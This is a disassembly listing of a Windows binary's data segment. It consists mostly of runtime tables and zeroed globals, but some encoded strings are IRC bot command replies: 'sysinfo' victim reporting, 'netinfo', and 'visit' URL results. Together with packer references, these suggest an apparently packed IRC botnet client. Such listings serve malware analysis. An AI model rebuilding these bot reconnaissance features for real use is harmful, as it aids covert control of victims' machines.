aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43F8E8	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43F9C4	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 4
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
dword_43F9F0	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43FA34	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43FA38	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43FA3C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43FA44	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43FA54	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43FA84	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43FAB0	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43FACC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43FB08	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43FB24	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43FB30	dd 53C8AAC0h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43FB40	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43FB4C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43FB58	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43FB5C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43FB70	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43FB74	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43FB80	dd offset off_43FB80	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43FB84	dd offset off_43FB80	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43FB98
		dd offset dword_43FB98
dword_43FB90	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43FB98	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043FB88o
					; ___:0043FB8Co
off_441BA0	dd offset off_43FB80	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_441BA4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_441BA8	dd offset word_441BB2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_441BAC	dd offset word_441BB2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_441BB2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_441BA8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_441DB4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_441DB8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_441DC0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_441DC4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_441DC8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_441DD0	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_441DD4	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_441DE0	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_441EC0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_441EC4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_442028	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_442030	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_442038	dd 14h			; DATA XREF: sub_421624+2o
off_44203C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 431B88h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_442110	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_442120	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_442138	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_442144	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_442150	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_442154	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_442158	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_44215C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_442160	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_442164	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_442174	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_442178	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_44217C	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4421F0	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_4421F4	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_4421F8	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_4421FC	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_442200	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_442208	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_44220C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43910Ch
		dd 0FFh, 427960h
off_442298	dd offset dword_4E0E60	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4E0E60
		dd 101h
dword_4422A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_4422B8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4422D8	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_442308	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_442518	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_442520	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_442528	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_442540	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_442558	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_44255C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_442560	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_442564	dd offset dword_545350	; DATA XREF: ___:off_4425E4o
		dd 0Fh dup(0)
off_4425A4	dd offset dword_544450	; DATA XREF: ___:off_4425E8o
		dd 0Fh dup(0)
off_4425E4	dd offset off_442564	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_4425E8	dd offset off_4425A4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_4425F0	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_4425F4	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_4425F8	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_442600	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_442604	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_442608	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_44260C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_44263C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_442640	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_442678	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4427D8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_442934	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_44294C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_44296C	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_44298C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_4429B0	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
off_4429C8	dd offset sub_42470C	; DATA XREF: Themida_:00560FD4o
		align 10h
dword_4429D0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_4429D8	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_4429E0	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_4429F8	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_443560	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_443760	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_443764	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_443768	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_44376C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_443770	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_443774	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_443778	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 7F5h	dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00439054o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0043D338o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43DD90o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_43DBFCo
		dd 5C70h dup(0)
		db 3 dup(0)
byte_4CC40B	db 0			; DATA XREF: Themida_:00551EA2o
		dd 1055h dup(0)
dword_4D0560	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4D0564	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4D0568	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4D056C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4D05EC	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4D062C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4D06BC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4D06C0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4D06D0	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4D06D4	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4D06D8	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4D06DC	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4D06E0	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4D06E4	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4D06E8	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4D06EC	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4D06F0	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4D06F4	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4D06F8	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4D06FC	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4D0700	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4D0704	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4D0708	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4D070C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4D0710	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4D0714	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4D0718	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4D071C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4D0720	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4D0724	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4D0728	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4D072C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4D0730	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4D0734	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4D0738	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4D073C	dd 0			; DATA XREF: sub_409B12+934w
dword_4D0740	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4D0744	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4D0748	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4D074C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4D0750	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4D0754	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4D0758	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4D075C	dd 0			; DATA XREF: sub_409B12+B50w
dword_4D0760	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4D0764	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4D0768	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4D076C	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4D0770	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4D0774	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4D0778	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4D077C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4D0780	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4D0784	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4D0788	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4D078C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4D0790	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4D0794	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4D0798	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4D079C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4D07A0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4D07A4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4D07A8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4D07AC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4D07B0	dd 0			; DATA XREF: sub_409B12+C28w
dword_4D07B4	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4D07B8	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4D07BC	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4D07C0	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4D07C4	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4D07C8	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4D07CC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4D07D0	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4D07D4	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4D07D8	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4D07DC	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4D07E0	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4D07E4	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4D07E8	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4D07EC	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4D07F0	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4D07F4	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4D07F8	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4D07FC	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4D0800	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4D0804	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4D0808	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4D080C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4D0810	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4D0814	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4D0818	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4D081C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4D0820	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4D0824	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4D0828	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4D082C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4D0830	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4D0834	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4D0838	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4D083C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
